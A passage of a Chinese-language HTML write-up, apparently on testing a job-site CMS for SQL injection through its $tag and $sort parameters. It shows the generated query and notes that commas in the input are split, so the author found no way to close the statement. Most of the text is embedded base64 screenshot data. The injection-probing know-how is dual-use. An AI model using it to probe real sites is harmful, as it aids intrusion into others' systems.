xbTqVNn4uJi6d49ioMHD7J+/ToAPNzdiYqKuuq1CgoKYsZ99+Hi4sqFCxf4buV3ZGdnG8rum34frq6ulJWVsW79OuLj4w3Xr3tUdywtLMnIzOCbb76huo0e6C8vKzP0yjsRHc3yZcsZMXw4O3ftYsCAgYweNQp7ezuSk1P4buV3huOOHjWKIUOGolAoOBF9gvCwcDZt3kRtbR1zZs9m8ZLFANjb2/PySy/zxZdfkJaWZnSeRUVF/LBqFVlZZwEYMXw4ffr0w8HBjoyMDL7+5hsmT5pMeHg45ubmvPfue/zn448N24O+d+kD98/i8JGj9OvbB41Gyy+//mL0+nN3d2fZG29gaWnFkaNHDK+PJ/7fE1RVV+Hk5IyPtzcJCQms/H4lKpWqTa6tILQlkTwUBCAqqgc+3j588UXT0zqOzk6MGD6aQwcP4ODggK2tnaFs9OixjBo1lrS0VMrKyxg4cCCSLLF+3a94e/ng5u7Byfg4AgIDmT17HmVlpaSmpNCte3dGjhzFN998SbfuUYwdM46Dhw6gVCgYN/YeSktLiI+LZc1PPwL64Uu7dA3DycmZNWtWG47frXsUXUK78u23XzFx0hTD+vP5+az837fXfN6mZmYsXPgodTW1JCUmEBAQyNNPPcM/P/qQC0VFzJv3EEGBQZxMOIm5mTn3TZ/JxcqLXKys5P5Zs8nNzSEl+RRhYRHcO2U6//n4o5tpBgBcXdz45de1RuvO5+eTmZmBr68fAG5ubpiamhrKXTo4Y2VpDcC8uQ/h7+dPQtJJHOwdWLDgEX744TtiY2Pw9vLBy9ObxFMJZGdnYW9vR1RUT0PyMKp7FCYmSqPEIYCDvSPdukVRWVlOQsJJfH38eeap53hj2WuA/hnOvn0HkpKSjK+fP/dNm2FIHnp7+eDn50famTQy0s8wafJUnJyc2bhx/U1fK0G4ERJy48PFjQlEqdnQpUhoJf06raRPJkpidmThT+Br48y8oP7sOn+KQwXpV9/hL8JMoeDpLqPJqynn+/TDf/rx3bqFYuZgy7ndR//0Y1+NqamSRx/9O8OHD+XDf/6bPbv3ArBk8TPY2Fjzr/98SsyJmCtX0grlbfi+Zmdr294hCIIgCH8RdZKMVpaRNKBp/Ix/qZehJEvoNJfWIeY7FP4Shg8bhr9/AO82G8LT08uLCRPGs2vXLpydnbGza7qnd//99zN50iSSTiVTWlLC8OEjkCSZr77+Cj8/Pzw9PImOOUHHTp159NFHKSkpITExgd69+zBl8hTeWvEWQ4YMYfLkyezevRuFUsnUKVO5UFTE3n37+M/H/wH0CaaePXvg6urCN9/qk5N/HOozwN+f/MYH8RNOnqS2tpa5c+cSHRPDwIGDKCsrIzn5FLa2ttjZ2ZGY1DS0Z2JSEsOGDcPKyqrVpJ6VlRVLFi+hpraW2NhYOnXqxOuvvc4rr75CSUkJixctBkkiLjaWoKAgnnn6aZ548kmGDh3GtGnTOH78OFVVFxk4cBDVVdWG82hLjo6OSJJEUVER3bp14/HHHiMrK4vklFSioqLw9fXl+Reep2+fPixY8DAnT56koqKCcWPHYW1tzcFDB1EoLhIQ4G+oU6lU4u/vj42NDVZWVixetJiGBjVJSYkEB3fm/159ledfeB6dVsvcufNITkkhMSmJQQMGodZoOXkynsLCQhwdHYiOjqaq6qJRzNbWVgQGBuHq6kZcXBxmZmYsem4RH3/8MQcPHQSgf//+xMTEYGVVw8wZMzl79izR0dF4eHgQEBBATk4OJ0/G06tXb3x8fHjl1Vfa/NoKws0SyUNBAAYNGU56+hlSUpIN66ZMupeKi5Vs2LCOefOMxwLine truncated
|
||||
<h4 blockindex=64>其他参数</h4>
|
||||
<p blockindex=65>$tag 参数,正常查询语句如下</p>
|
||||
<pre blockindex=66><code class="hljs language-sql"><span class=hljs-keyword>SELECT</span> `a`.`id`,`company_id`,`stick`,`refreshtime` <span class=hljs-keyword>FROM</span> `qs_job_search_rtime` `a` <span class=hljs-keyword>WHERE</span> ( FIND_IN_SET(<span class=hljs-string>'sectag'</span>,`tag`) ) <span class=hljs-keyword>ORDER</span> <span class=hljs-keyword>BY</span> `stick` <span class=hljs-keyword>DESC</span>,`refreshtime` <span class=hljs-keyword>DESC</span> LIMIT <span class=hljs-number>0</span>,<span class=hljs-number>10</span>
|
||||
</code></pre>
|
||||
<p blockindex=67>经过测试,发现输入的内容会被逗号 <code>,</code> 隔开<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=68>查看该函数的定义,若要进行闭合,需要逗号构造,但是上述测试发现使用不了逗号。(暂时没有其他思路)<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=69>$sort 参数只有在特定字段时会出现在语句中,暂未发现利用思路。<br>
|
||||
<img src="data:image/png;base64,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